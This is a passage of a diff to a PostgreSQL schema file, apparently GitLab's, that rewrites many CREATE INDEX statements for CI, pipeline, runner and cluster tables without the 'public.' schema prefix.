-CREATE INDEX index_audit_events_on_entity_id_entity_type_id_desc_author_id ON public.audit_events USING btree (entity_id, entity_type, id DESC, author_id);
+CREATE INDEX index_ci_builds_on_queued_at ON ci_builds USING btree (queued_at);
-CREATE INDEX index_award_emoji_on_awardable_type_and_awardable_id ON public.award_emoji USING btree (awardable_type, awardable_id);
+CREATE INDEX index_ci_builds_on_runner_id ON ci_builds USING btree (runner_id);
-CREATE INDEX index_award_emoji_on_user_id_and_name ON public.award_emoji USING btree (user_id, name);
+CREATE INDEX index_ci_builds_on_stage_id ON ci_builds USING btree (stage_id);
-CREATE UNIQUE INDEX index_aws_roles_on_role_external_id ON public.aws_roles USING btree (role_external_id);
+CREATE INDEX index_ci_builds_on_status_and_type_and_runner_id ON ci_builds USING btree (status, type, runner_id);
-CREATE UNIQUE INDEX index_aws_roles_on_user_id ON public.aws_roles USING btree (user_id);
+CREATE UNIQUE INDEX index_ci_builds_on_token ON ci_builds USING btree (token);
-CREATE INDEX index_background_migration_jobs_for_partitioning_migrations ON public.background_migration_jobs USING btree (((arguments ->> 2))) WHERE (class_name = 'Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable'::text);
+CREATE UNIQUE INDEX index_ci_builds_on_token_encrypted ON ci_builds USING btree (token_encrypted) WHERE (token_encrypted IS NOT NULL);
-CREATE INDEX index_background_migration_jobs_on_class_name_and_arguments ON public.background_migration_jobs USING btree (class_name, arguments);
+CREATE INDEX index_ci_builds_on_updated_at ON ci_builds USING btree (updated_at);
-CREATE INDEX index_background_migration_jobs_on_class_name_and_status_and_id ON public.background_migration_jobs USING btree (class_name, status, id);
+CREATE INDEX index_ci_builds_on_upstream_pipeline_id ON ci_builds USING btree (upstream_pipeline_id) WHERE (upstream_pipeline_id IS NOT NULL);
-CREATE INDEX index_badges_on_group_id ON public.badges USING btree (group_id);
+CREATE INDEX index_ci_builds_on_user_id ON ci_builds USING btree (user_id);
-CREATE INDEX index_badges_on_project_id ON public.badges USING btree (project_id);
+CREATE INDEX index_ci_builds_on_user_id_and_created_at_and_type_eq_ci_build ON ci_builds USING btree (user_id, created_at) WHERE ((type)::text = 'Ci::Build'::text);
-CREATE INDEX index_board_assignees_on_assignee_id ON public.board_assignees USING btree (assignee_id);
+CREATE INDEX index_ci_builds_project_id_and_status_for_live_jobs_partial2 ON ci_builds USING btree (project_id, status) WHERE (((type)::text = 'Ci::Build'::text) AND ((status)::text = ANY (ARRAY[('running'::character varying)::text, ('pending'::character varying)::text, ('created'::character varying)::text])));
-CREATE UNIQUE INDEX index_board_assignees_on_board_id_and_assignee_id ON public.board_assignees USING btree (board_id, assignee_id);
+CREATE UNIQUE INDEX index_ci_builds_runner_session_on_build_id ON ci_builds_runner_session USING btree (build_id);
-CREATE INDEX index_board_group_recent_visits_on_board_id ON public.board_group_recent_visits USING btree (board_id);
+CREATE INDEX index_ci_daily_build_group_report_results_on_last_pipeline_id ON ci_daily_build_group_report_results USING btree (last_pipeline_id);
-CREATE INDEX index_board_group_recent_visits_on_group_id ON public.board_group_recent_visits USING btree (group_id);
+CREATE INDEX index_ci_freeze_periods_on_project_id ON ci_freeze_periods USING btree (project_id);
-CREATE UNIQUE INDEX index_board_group_recent_visits_on_user_group_and_board ON public.board_group_recent_visits USING btree (user_id, group_id, board_id);
+CREATE UNIQUE INDEX index_ci_group_variables_on_group_id_and_key ON ci_group_variables USING btree (group_id, key);
-CREATE INDEX index_board_group_recent_visits_on_user_id ON public.board_group_recent_visits USING btree (user_id);
+CREATE UNIQUE INDEX index_ci_instance_variables_on_key ON ci_instance_variables USING btree (key);
-CREATE UNIQUE INDEX index_board_labels_on_board_id_and_label_id ON public.board_labels USING btree (board_id, label_id);
+CREATE INDEX index_ci_job_artifacts_for_terraform_reports ON ci_job_artifacts USING btree (project_id, id) WHERE (file_type = 18);
-CREATE INDEX index_board_labels_on_label_id ON public.board_labels USING btree (label_id);
+CREATE INDEX index_ci_job_artifacts_id_for_terraform_reports ON ci_job_artifacts USING btree (id) WHERE (file_type = 18);
-CREATE INDEX index_board_project_recent_visits_on_board_id ON public.board_project_recent_visits USING btree (board_id);
+CREATE INDEX index_ci_job_artifacts_on_expire_at_and_job_id ON ci_job_artifacts USING btree (expire_at, job_id);
-CREATE INDEX index_board_project_recent_visits_on_project_id ON public.board_project_recent_visits USING btree (project_id);
+CREATE INDEX index_ci_job_artifacts_on_file_store ON ci_job_artifacts USING btree (file_store);
-CREATE INDEX index_board_project_recent_visits_on_user_id ON public.board_project_recent_visits USING btree (user_id);
+CREATE UNIQUE INDEX index_ci_job_artifacts_on_job_id_and_file_type ON ci_job_artifacts USING btree (job_id, file_type);
-CREATE UNIQUE INDEX index_board_project_recent_visits_on_user_project_and_board ON public.board_project_recent_visits USING btree (user_id, project_id, board_id);
+CREATE INDEX index_ci_job_artifacts_on_license_compliance_file_types ON ci_job_artifacts USING btree (job_id, file_type) WHERE ((file_type = 10) OR (file_type = 101));
-CREATE INDEX index_board_user_preferences_on_board_id ON public.board_user_preferences USING btree (board_id);
+CREATE INDEX index_ci_job_artifacts_on_project_id ON ci_job_artifacts USING btree (project_id);
-CREATE INDEX index_board_user_preferences_on_user_id ON public.board_user_preferences USING btree (user_id);
+CREATE INDEX index_ci_job_artifacts_on_project_id_for_security_reports ON ci_job_artifacts USING btree (project_id) WHERE (file_type = ANY (ARRAY[5, 6, 7, 8]));
-CREATE UNIQUE INDEX index_board_user_preferences_on_user_id_and_board_id ON public.board_user_preferences USING btree (user_id, board_id);
+CREATE INDEX index_ci_job_variables_on_job_id ON ci_job_variables USING btree (job_id);
-CREATE INDEX index_boards_on_group_id ON public.boards USING btree (group_id);
+CREATE UNIQUE INDEX index_ci_job_variables_on_key_and_job_id ON ci_job_variables USING btree (key, job_id);
-CREATE INDEX index_boards_on_milestone_id ON public.boards USING btree (milestone_id);
+CREATE INDEX index_ci_pipeline_artifacts_on_expire_at ON ci_pipeline_artifacts USING btree (expire_at);
-CREATE INDEX index_boards_on_project_id ON public.boards USING btree (project_id);
+CREATE INDEX index_ci_pipeline_artifacts_on_pipeline_id ON ci_pipeline_artifacts USING btree (pipeline_id);
-CREATE INDEX index_broadcast_message_on_ends_at_and_broadcast_type_and_id ON public.broadcast_messages USING btree (ends_at, broadcast_type, id);
+CREATE UNIQUE INDEX index_ci_pipeline_artifacts_on_pipeline_id_and_file_type ON ci_pipeline_artifacts USING btree (pipeline_id, file_type);
-CREATE UNIQUE INDEX index_chat_names_on_service_id_and_team_id_and_chat_id ON public.chat_names USING btree (service_id, team_id, chat_id);
+CREATE INDEX index_ci_pipeline_artifacts_on_project_id ON ci_pipeline_artifacts USING btree (project_id);
-CREATE UNIQUE INDEX index_chat_names_on_user_id_and_service_id ON public.chat_names USING btree (user_id, service_id);
+CREATE INDEX index_ci_pipeline_chat_data_on_chat_name_id ON ci_pipeline_chat_data USING btree (chat_name_id);
-CREATE UNIQUE INDEX index_chat_teams_on_namespace_id ON public.chat_teams USING btree (namespace_id);
+CREATE UNIQUE INDEX index_ci_pipeline_chat_data_on_pipeline_id ON ci_pipeline_chat_data USING btree (pipeline_id);
-CREATE UNIQUE INDEX index_ci_build_needs_on_build_id_and_name ON public.ci_build_needs USING btree (build_id, name);
+CREATE INDEX index_ci_pipeline_messages_on_pipeline_id ON ci_pipeline_messages USING btree (pipeline_id);
-CREATE INDEX index_ci_build_report_results_on_project_id ON public.ci_build_report_results USING btree (project_id);
+CREATE UNIQUE INDEX index_ci_pipeline_schedule_variables_on_schedule_id_and_key ON ci_pipeline_schedule_variables USING btree (pipeline_schedule_id, key);
-CREATE UNIQUE INDEX index_ci_build_trace_chunks_on_build_id_and_chunk_index ON public.ci_build_trace_chunks USING btree (build_id, chunk_index);
+CREATE INDEX index_ci_pipeline_schedules_on_next_run_at_and_active ON ci_pipeline_schedules USING btree (next_run_at, active);
-CREATE UNIQUE INDEX index_ci_build_trace_section_names_on_project_id_and_name ON public.ci_build_trace_section_names USING btree (project_id, name);
+CREATE INDEX index_ci_pipeline_schedules_on_owner_id ON ci_pipeline_schedules USING btree (owner_id);
-CREATE UNIQUE INDEX index_ci_build_trace_sections_on_build_id_and_section_name_id ON public.ci_build_trace_sections USING btree (build_id, section_name_id);
+CREATE INDEX index_ci_pipeline_schedules_on_project_id ON ci_pipeline_schedules USING btree (project_id);
-CREATE INDEX index_ci_build_trace_sections_on_project_id ON public.ci_build_trace_sections USING btree (project_id);
+CREATE UNIQUE INDEX index_ci_pipeline_variables_on_pipeline_id_and_key ON ci_pipeline_variables USING btree (pipeline_id, key);
-CREATE INDEX index_ci_build_trace_sections_on_section_name_id ON public.ci_build_trace_sections USING btree (section_name_id);
+CREATE INDEX index_ci_pipelines_config_on_pipeline_id ON ci_pipelines_config USING btree (pipeline_id);
-CREATE UNIQUE INDEX index_ci_builds_metadata_on_build_id ON public.ci_builds_metadata USING btree (build_id);
+CREATE INDEX index_ci_pipelines_for_ondemand_dast_scans ON ci_pipelines USING btree (id) WHERE (source = 13);
-CREATE INDEX index_ci_builds_metadata_on_build_id_and_has_exposed_artifacts ON public.ci_builds_metadata USING btree (build_id) WHERE (has_exposed_artifacts IS TRUE);
+CREATE INDEX index_ci_pipelines_on_auto_canceled_by_id ON ci_pipelines USING btree (auto_canceled_by_id);
-CREATE INDEX index_ci_builds_metadata_on_build_id_and_interruptible ON public.ci_builds_metadata USING btree (build_id) WHERE (interruptible = true);
+CREATE INDEX index_ci_pipelines_on_ci_ref_id ON ci_pipelines USING btree (ci_ref_id) WHERE (ci_ref_id IS NOT NULL);
-CREATE INDEX index_ci_builds_metadata_on_project_id ON public.ci_builds_metadata USING btree (project_id);
+CREATE INDEX index_ci_pipelines_on_external_pull_request_id ON ci_pipelines USING btree (external_pull_request_id) WHERE (external_pull_request_id IS NOT NULL);
-CREATE INDEX index_ci_builds_on_artifacts_expire_at ON public.ci_builds USING btree (artifacts_expire_at) WHERE (artifacts_file <> ''::text);
+CREATE INDEX index_ci_pipelines_on_merge_request_id ON ci_pipelines USING btree (merge_request_id) WHERE (merge_request_id IS NOT NULL);
-CREATE INDEX index_ci_builds_on_auto_canceled_by_id ON public.ci_builds USING btree (auto_canceled_by_id);
+CREATE INDEX index_ci_pipelines_on_pipeline_schedule_id ON ci_pipelines USING btree (pipeline_schedule_id);
-CREATE INDEX index_ci_builds_on_commit_id_and_stage_idx_and_created_at ON public.ci_builds USING btree (commit_id, stage_idx, created_at);
+CREATE INDEX index_ci_pipelines_on_project_id_and_created_at ON ci_pipelines USING btree (project_id, created_at);
-CREATE INDEX index_ci_builds_on_commit_id_and_status_and_type ON public.ci_builds USING btree (commit_id, status, type);
+CREATE INDEX index_ci_pipelines_on_project_id_and_id_desc ON ci_pipelines USING btree (project_id, id DESC);
-CREATE INDEX index_ci_builds_on_commit_id_and_type_and_name_and_ref ON public.ci_builds USING btree (commit_id, type, name, ref);
+CREATE UNIQUE INDEX index_ci_pipelines_on_project_id_and_iid ON ci_pipelines USING btree (project_id, iid) WHERE (iid IS NOT NULL);
-CREATE INDEX index_ci_builds_on_commit_id_and_type_and_ref ON public.ci_builds USING btree (commit_id, type, ref);
+CREATE INDEX index_ci_pipelines_on_project_id_and_ref_and_status_and_id ON ci_pipelines USING btree (project_id, ref, status, id);
-CREATE INDEX index_ci_builds_on_commit_id_artifacts_expired_at_and_id ON public.ci_builds USING btree (commit_id, artifacts_expire_at, id) WHERE (((type)::text = 'Ci::Build'::text) AND ((retried = false) OR (retried IS NULL)) AND ((name)::text = ANY (ARRAY[('sast'::character varying)::text, ('secret_detection'::character varying)::text, ('dependency_scanning'::character varying)::text, ('container_scanning'::character varying)::text, ('dast'::character varying)::text])));
+CREATE INDEX index_ci_pipelines_on_project_id_and_sha ON ci_pipelines USING btree (project_id, sha);
-CREATE INDEX index_ci_builds_on_project_id_and_id ON public.ci_builds USING btree (project_id, id);
+CREATE INDEX index_ci_pipelines_on_project_id_and_source ON ci_pipelines USING btree (project_id, source);
-CREATE INDEX index_ci_builds_on_project_id_and_name_and_ref ON public.ci_builds USING btree (project_id, name, ref) WHERE (((type)::text = 'Ci::Build'::text) AND ((status)::text = 'success'::text) AND ((retried = false) OR (retried IS NULL)));
+CREATE INDEX index_ci_pipelines_on_project_id_and_status_and_config_source ON ci_pipelines USING btree (project_id, status, config_source);
-CREATE INDEX index_ci_builds_on_project_id_for_successfull_pages_deploy ON public.ci_builds USING btree (project_id) WHERE (((type)::text = 'GenericCommitStatus'::text) AND ((stage)::text = 'deploy'::text) AND ((name)::text = 'pages:deploy'::text) AND ((status)::text = 'success'::text));
+CREATE INDEX index_ci_pipelines_on_project_id_and_status_and_updated_at ON ci_pipelines USING btree (project_id, status, updated_at);
-CREATE INDEX index_ci_builds_on_protected ON public.ci_builds USING btree (protected);
+CREATE INDEX index_ci_pipelines_on_project_id_and_user_id_and_status_and_ref ON ci_pipelines USING btree (project_id, user_id, status, ref) WHERE (source <> 12);
-CREATE INDEX index_ci_builds_on_queued_at ON public.ci_builds USING btree (queued_at);
+CREATE INDEX index_ci_pipelines_on_project_idandrefandiddesc ON ci_pipelines USING btree (project_id, ref, id DESC);
-CREATE INDEX index_ci_builds_on_runner_id ON public.ci_builds USING btree (runner_id);
+CREATE INDEX index_ci_pipelines_on_status ON ci_pipelines USING btree (status);
-CREATE INDEX index_ci_builds_on_stage_id ON public.ci_builds USING btree (stage_id);
+CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_config_source ON ci_pipelines USING btree (user_id, created_at, config_source);
-CREATE INDEX index_ci_builds_on_status_and_type_and_runner_id ON public.ci_builds USING btree (status, type, runner_id);
+CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_source ON ci_pipelines USING btree (user_id, created_at, source);
-CREATE UNIQUE INDEX index_ci_builds_on_token ON public.ci_builds USING btree (token);
+CREATE UNIQUE INDEX index_ci_refs_on_project_id_and_ref_path ON ci_refs USING btree (project_id, ref_path);
-CREATE UNIQUE INDEX index_ci_builds_on_token_encrypted ON public.ci_builds USING btree (token_encrypted) WHERE (token_encrypted IS NOT NULL);
+CREATE UNIQUE INDEX index_ci_resource_groups_on_project_id_and_key ON ci_resource_groups USING btree (project_id, key);
-CREATE INDEX index_ci_builds_on_updated_at ON public.ci_builds USING btree (updated_at);
+CREATE INDEX index_ci_resources_on_build_id ON ci_resources USING btree (build_id);
-CREATE INDEX index_ci_builds_on_upstream_pipeline_id ON public.ci_builds USING btree (upstream_pipeline_id) WHERE (upstream_pipeline_id IS NOT NULL);
+CREATE UNIQUE INDEX index_ci_resources_on_resource_group_id_and_build_id ON ci_resources USING btree (resource_group_id, build_id);
-CREATE INDEX index_ci_builds_on_user_id ON public.ci_builds USING btree (user_id);
+CREATE INDEX index_ci_runner_namespaces_on_namespace_id ON ci_runner_namespaces USING btree (namespace_id);
-CREATE INDEX index_ci_builds_on_user_id_and_created_at_and_type_eq_ci_build ON public.ci_builds USING btree (user_id, created_at) WHERE ((type)::text = 'Ci::Build'::text);
+CREATE UNIQUE INDEX index_ci_runner_namespaces_on_runner_id_and_namespace_id ON ci_runner_namespaces USING btree (runner_id, namespace_id);
-CREATE INDEX index_ci_builds_project_id_and_status_for_live_jobs_partial2 ON public.ci_builds USING btree (project_id, status) WHERE (((type)::text = 'Ci::Build'::text) AND ((status)::text = ANY (ARRAY[('running'::character varying)::text, ('pending'::character varying)::text, ('created'::character varying)::text])));
+CREATE INDEX index_ci_runner_projects_on_project_id ON ci_runner_projects USING btree (project_id);
-CREATE UNIQUE INDEX index_ci_builds_runner_session_on_build_id ON public.ci_builds_runner_session USING btree (build_id);
+CREATE INDEX index_ci_runner_projects_on_runner_id ON ci_runner_projects USING btree (runner_id);
-CREATE INDEX index_ci_daily_build_group_report_results_on_last_pipeline_id ON public.ci_daily_build_group_report_results USING btree (last_pipeline_id);
+CREATE INDEX index_ci_runners_on_contacted_at ON ci_runners USING btree (contacted_at);
-CREATE INDEX index_ci_freeze_periods_on_project_id ON public.ci_freeze_periods USING btree (project_id);
+CREATE INDEX index_ci_runners_on_is_shared ON ci_runners USING btree (is_shared);
-CREATE UNIQUE INDEX index_ci_group_variables_on_group_id_and_key ON public.ci_group_variables USING btree (group_id, key);
+CREATE INDEX index_ci_runners_on_locked ON ci_runners USING btree (locked);
-CREATE UNIQUE INDEX index_ci_instance_variables_on_key ON public.ci_instance_variables USING btree (key);
+CREATE INDEX index_ci_runners_on_runner_type ON ci_runners USING btree (runner_type);
-CREATE INDEX index_ci_job_artifacts_for_terraform_reports ON public.ci_job_artifacts USING btree (project_id, id) WHERE (file_type = 18);
+CREATE INDEX index_ci_runners_on_token ON ci_runners USING btree (token);
-CREATE INDEX index_ci_job_artifacts_on_expire_at_and_job_id ON public.ci_job_artifacts USING btree (expire_at, job_id);
+CREATE INDEX index_ci_runners_on_token_encrypted ON ci_runners USING btree (token_encrypted);
-CREATE INDEX index_ci_job_artifacts_on_file_store ON public.ci_job_artifacts USING btree (file_store);
+CREATE INDEX index_ci_sources_pipelines_on_pipeline_id ON ci_sources_pipelines USING btree (pipeline_id);
-CREATE UNIQUE INDEX index_ci_job_artifacts_on_job_id_and_file_type ON public.ci_job_artifacts USING btree (job_id, file_type);
+CREATE INDEX index_ci_sources_pipelines_on_project_id ON ci_sources_pipelines USING btree (project_id);
-CREATE INDEX index_ci_job_artifacts_on_license_compliance_file_types ON public.ci_job_artifacts USING btree (job_id, file_type) WHERE ((file_type = 10) OR (file_type = 101));
+CREATE INDEX index_ci_sources_pipelines_on_source_job_id ON ci_sources_pipelines USING btree (source_job_id);
-CREATE INDEX index_ci_job_artifacts_on_project_id ON public.ci_job_artifacts USING btree (project_id);
+CREATE INDEX index_ci_sources_pipelines_on_source_pipeline_id ON ci_sources_pipelines USING btree (source_pipeline_id);
-CREATE INDEX index_ci_job_artifacts_on_project_id_for_security_reports ON public.ci_job_artifacts USING btree (project_id) WHERE (file_type = ANY (ARRAY[5, 6, 7, 8]));
+CREATE INDEX index_ci_sources_pipelines_on_source_project_id ON ci_sources_pipelines USING btree (source_project_id);
-CREATE INDEX index_ci_job_variables_on_job_id ON public.ci_job_variables USING btree (job_id);
+CREATE INDEX index_ci_sources_projects_on_pipeline_id ON ci_sources_projects USING btree (pipeline_id);
-CREATE UNIQUE INDEX index_ci_job_variables_on_key_and_job_id ON public.ci_job_variables USING btree (key, job_id);
+CREATE UNIQUE INDEX index_ci_sources_projects_on_source_project_id_and_pipeline_id ON ci_sources_projects USING btree (source_project_id, pipeline_id);
-CREATE INDEX index_ci_pipeline_artifacts_on_pipeline_id ON public.ci_pipeline_artifacts USING btree (pipeline_id);
+CREATE INDEX index_ci_stages_on_pipeline_id ON ci_stages USING btree (pipeline_id);
-CREATE UNIQUE INDEX index_ci_pipeline_artifacts_on_pipeline_id_and_file_type ON public.ci_pipeline_artifacts USING btree (pipeline_id, file_type);
+CREATE UNIQUE INDEX index_ci_stages_on_pipeline_id_and_name ON ci_stages USING btree (pipeline_id, name);
-CREATE INDEX index_ci_pipeline_artifacts_on_project_id ON public.ci_pipeline_artifacts USING btree (project_id);
+CREATE INDEX index_ci_stages_on_pipeline_id_and_position ON ci_stages USING btree (pipeline_id, "position");
-CREATE INDEX index_ci_pipeline_chat_data_on_chat_name_id ON public.ci_pipeline_chat_data USING btree (chat_name_id);
+CREATE INDEX index_ci_stages_on_project_id ON ci_stages USING btree (project_id);
-CREATE UNIQUE INDEX index_ci_pipeline_chat_data_on_pipeline_id ON public.ci_pipeline_chat_data USING btree (pipeline_id);
+CREATE INDEX index_ci_subscriptions_projects_on_upstream_project_id ON ci_subscriptions_projects USING btree (upstream_project_id);
-CREATE INDEX index_ci_pipeline_messages_on_pipeline_id ON public.ci_pipeline_messages USING btree (pipeline_id);
+CREATE UNIQUE INDEX index_ci_subscriptions_projects_unique_subscription ON ci_subscriptions_projects USING btree (downstream_project_id, upstream_project_id);
-CREATE UNIQUE INDEX index_ci_pipeline_schedule_variables_on_schedule_id_and_key ON public.ci_pipeline_schedule_variables USING btree (pipeline_schedule_id, key);
+CREATE INDEX index_ci_trigger_requests_on_commit_id ON ci_trigger_requests USING btree (commit_id);
-CREATE INDEX index_ci_pipeline_schedules_on_next_run_at_and_active ON public.ci_pipeline_schedules USING btree (next_run_at, active);
+CREATE INDEX index_ci_trigger_requests_on_trigger_id_and_id ON ci_trigger_requests USING btree (trigger_id, id DESC);
-CREATE INDEX index_ci_pipeline_schedules_on_owner_id ON public.ci_pipeline_schedules USING btree (owner_id);
+CREATE INDEX index_ci_triggers_on_owner_id ON ci_triggers USING btree (owner_id);
-CREATE INDEX index_ci_pipeline_schedules_on_project_id ON public.ci_pipeline_schedules USING btree (project_id);
+CREATE INDEX index_ci_triggers_on_project_id ON ci_triggers USING btree (project_id);
-CREATE UNIQUE INDEX index_ci_pipeline_variables_on_pipeline_id_and_key ON public.ci_pipeline_variables USING btree (pipeline_id, key);
+CREATE INDEX index_ci_variables_on_key ON ci_variables USING btree (key);
-CREATE INDEX index_ci_pipelines_config_on_pipeline_id ON public.ci_pipelines_config USING btree (pipeline_id);
+CREATE UNIQUE INDEX index_ci_variables_on_project_id_and_key_and_environment_scope ON ci_variables USING btree (project_id, key, environment_scope);
-CREATE INDEX index_ci_pipelines_on_auto_canceled_by_id ON public.ci_pipelines USING btree (auto_canceled_by_id);
+CREATE INDEX index_cluster_agent_tokens_on_agent_id ON cluster_agent_tokens USING btree (agent_id);
-CREATE INDEX index_ci_pipelines_on_ci_ref_id ON public.ci_pipelines USING btree (ci_ref_id) WHERE (ci_ref_id IS NOT NULL);
+CREATE UNIQUE INDEX index_cluster_agent_tokens_on_token_encrypted ON cluster_agent_tokens USING btree (token_encrypted);
-CREATE INDEX index_ci_pipelines_on_external_pull_request_id ON public.ci_pipelines USING btree (external_pull_request_id) WHERE (external_pull_request_id IS NOT NULL);
+CREATE INDEX index_cluster_agents_on_project_id ON cluster_agents USING btree (project_id);
-CREATE INDEX index_ci_pipelines_on_merge_request_id ON public.ci_pipelines USING btree (merge_request_id) WHERE (merge_request_id IS NOT NULL);
+CREATE UNIQUE INDEX index_cluster_agents_on_project_id_and_name ON cluster_agents USING btree (project_id, name);
-CREATE INDEX index_ci_pipelines_on_pipeline_schedule_id ON public.ci_pipelines USING btree (pipeline_schedule_id);
+CREATE UNIQUE INDEX index_cluster_groups_on_cluster_id_and_group_id ON cluster_groups USING btree (cluster_id, group_id);
-CREATE INDEX index_ci_pipelines_on_project_id_and_created_at ON public.ci_pipelines USING btree (project_id, created_at);
+CREATE INDEX index_cluster_groups_on_group_id ON cluster_groups USING btree (group_id);
-CREATE INDEX index_ci_pipelines_on_project_id_and_id_desc ON public.ci_pipelines USING btree (project_id, id DESC);
+CREATE UNIQUE INDEX index_cluster_platforms_kubernetes_on_cluster_id ON cluster_platforms_kubernetes USING btree (cluster_id);
-CREATE UNIQUE INDEX index_ci_pipelines_on_project_id_and_iid ON public.ci_pipelines USING btree (project_id, iid) WHERE (iid IS NOT NULL);
+CREATE INDEX index_cluster_projects_on_cluster_id ON cluster_projects USING btree (cluster_id);
-CREATE INDEX index_ci_pipelines_on_project_id_and_ref_and_status_and_id ON public.ci_pipelines USING btree (project_id, ref, status, id);
+CREATE INDEX index_cluster_projects_on_project_id ON cluster_projects USING btree (project_id);
-CREATE INDEX index_ci_pipelines_on_project_id_and_sha ON public.ci_pipelines USING btree (project_id, sha);
+CREATE UNIQUE INDEX index_cluster_providers_aws_on_cluster_id ON cluster_providers_aws USING btree (cluster_id);
-CREATE INDEX index_ci_pipelines_on_project_id_and_source ON public.ci_pipelines USING btree (project_id, source);
+CREATE INDEX index_cluster_providers_aws_on_cluster_id_and_status ON cluster_providers_aws USING btree (cluster_id, status);
-CREATE INDEX index_ci_pipelines_on_project_id_and_status_and_config_source ON public.ci_pipelines USING btree (project_id, status, config_source);
+CREATE INDEX index_cluster_providers_aws_on_created_by_user_id ON cluster_providers_aws USING btree (created_by_user_id);
-CREATE INDEX index_ci_pipelines_on_project_id_and_status_and_updated_at ON public.ci_pipelines USING btree (project_id, status, updated_at);
+CREATE INDEX index_cluster_providers_gcp_on_cloud_run ON cluster_providers_gcp USING btree (cloud_run);
-CREATE INDEX index_ci_pipelines_on_project_id_and_user_id_and_status_and_ref ON public.ci_pipelines USING btree (project_id, user_id, status, ref) WHERE (source <> 12);
+CREATE UNIQUE INDEX index_cluster_providers_gcp_on_cluster_id ON cluster_providers_gcp USING btree (cluster_id);
-CREATE INDEX index_ci_pipelines_on_project_idandrefandiddesc ON public.ci_pipelines USING btree (project_id, ref, id DESC);
+CREATE UNIQUE INDEX index_clusters_applications_cert_managers_on_cluster_id ON clusters_applications_cert_managers USING btree (cluster_id);
-CREATE INDEX index_ci_pipelines_on_status ON public.ci_pipelines USING btree (status);
+CREATE UNIQUE INDEX index_clusters_applications_cilium_on_cluster_id ON clusters_applications_cilium USING btree (cluster_id);
-CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_config_source ON public.ci_pipelines USING btree (user_id, created_at, config_source);
+CREATE UNIQUE INDEX index_clusters_applications_crossplane_on_cluster_id ON clusters_applications_crossplane USING btree (cluster_id);
-CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_source ON public.ci_pipelines USING btree (user_id, created_at, source);
+CREATE UNIQUE INDEX index_clusters_applications_elastic_stacks_on_cluster_id ON clusters_applications_elastic_stacks USING btree (cluster_id);
-CREATE UNIQUE INDEX index_ci_refs_on_project_id_and_ref_path ON public.ci_refs USING btree (project_id, ref_path);
+CREATE UNIQUE INDEX index_clusters_applications_fluentd_on_cluster_id ON clusters_applications_fluentd USING btree (cluster_id);
-CREATE UNIQUE INDEX index_ci_resource_groups_on_project_id_and_key ON public.ci_resource_groups USING btree (project_id, key);
+CREATE UNIQUE INDEX index_clusters_applications_helm_on_cluster_id ON clusters_applications_helm USING btree (cluster_id);
-CREATE INDEX index_ci_resources_on_build_id ON public.ci_resources USING btree (build_id);
+CREATE UNIQUE INDEX index_clusters_applications_ingress_on_cluster_id ON clusters_applications_ingress USING btree (cluster_id);
-CREATE UNIQUE INDEX index_ci_resources_on_resource_group_id_and_build_id ON public.ci_resources USING btree (resource_group_id, build_id);
+CREATE INDEX index_clusters_applications_ingress_on_modsecurity ON clusters_applications_ingress USING btree (modsecurity_enabled, modsecurity_mode, cluster_id);
-CREATE INDEX index_ci_runner_namespaces_on_namespace_id ON public.ci_runner_namespaces USING btree (namespace_id);
+CREATE UNIQUE INDEX index_clusters_applications_jupyter_on_cluster_id ON clusters_applications_jupyter USING btree (cluster_id);
-CREATE UNIQUE INDEX index_ci_runner_namespaces_on_runner_id_and_namespace_id ON public.ci_runner_namespaces USING btree (runner_id, namespace_id);
+CREATE INDEX index_clusters_applications_jupyter_on_oauth_application_id ON clusters_applications_jupyter USING btree (oauth_application_id);
-CREATE INDEX index_ci_runner_projects_on_project_id ON public.ci_runner_projects USING btree (project_id);
+CREATE UNIQUE INDEX index_clusters_applications_knative_on_cluster_id ON clusters_applications_knative USING btree (cluster_id);
-CREATE INDEX index_ci_runner_projects_on_runner_id ON public.ci_runner_projects USING btree (runner_id);
+CREATE UNIQUE INDEX index_clusters_applications_prometheus_on_cluster_id ON clusters_applications_prometheus USING btree (cluster_id);
-CREATE INDEX index_ci_runners_on_contacted_at ON public.ci_runners USING btree (contacted_at);
+CREATE UNIQUE INDEX index_clusters_applications_runners_on_cluster_id ON clusters_applications_runners USING btree (cluster_id);
-CREATE INDEX index_ci_runners_on_is_shared ON public.ci_runners USING btree (is_shared);
+CREATE INDEX index_clusters_applications_runners_on_runner_id ON clusters_applications_runners USING btree (runner_id);
-CREATE INDEX index_ci_runners_on_locked ON public.ci_runners USING btree (locked);
+CREATE INDEX index_clusters_kubernetes_namespaces_on_cluster_id ON clusters_kubernetes_namespaces USING btree (cluster_id);
-CREATE INDEX index_ci_runners_on_runner_type ON public.ci_runners USING btree (runner_type);
+CREATE INDEX index_clusters_kubernetes_namespaces_on_cluster_project_id ON clusters_kubernetes_namespaces USING btree (cluster_project_id);
-CREATE INDEX index_ci_runners_on_token ON public.ci_runners USING btree (token);
+CREATE INDEX index_clusters_kubernetes_namespaces_on_environment_id ON clusters_kubernetes_namespaces USING btree (environment_id);
-CREATE INDEX index_ci_runners_on_token_encrypted ON public.ci_runners USING btree (token_encrypted);
+CREATE INDEX index_clusters_kubernetes_namespaces_on_project_id ON clusters_kubernetes_namespaces USING btree (project_id);
-CREATE INDEX index_ci_sources_pipelines_on_pipeline_id ON public.ci_sources_pipelines USING btree (pipeline_id);
+CREATE INDEX index_clusters_on_enabled_and_provider_type_and_id ON clusters USING btree (enabled, provider_type, id);
-CREATE INDEX index_ci_sources_pipelines_on_project_id ON public.ci_sources_pipelines USING btree (project_id);
+CREATE INDEX index_clusters_on_enabled_cluster_type_id_and_created_at ON clusters USING btree (enabled, cluster_type, id, created_at);
-CREATE INDEX index_ci_sources_pipelines_on_source_job_id ON public.ci_sources_pipelines USING btree (source_job_id);
+CREATE INDEX index_clusters_on_management_project_id ON clusters USING btree (management_project_id) WHERE (management_project_id IS NOT NULL);
-CREATE INDEX index_ci_sources_pipelines_on_source_pipeline_id ON public.ci_sources_pipelines USING btree (source_pipeline_id);
+CREATE INDEX index_clusters_on_user_id ON clusters USING btree (user_id);
-CREATE INDEX index_ci_sources_pipelines_on_source_project_id ON public.ci_sources_pipelines USING btree (source_project_id);
+CREATE UNIQUE INDEX index_commit_user_mentions_on_note_id ON commit_user_mentions USING btree (note_id);
-CREATE INDEX index_ci_sources_projects_on_pipeline_id ON public.ci_sources_projects USING btree (pipeline_id);
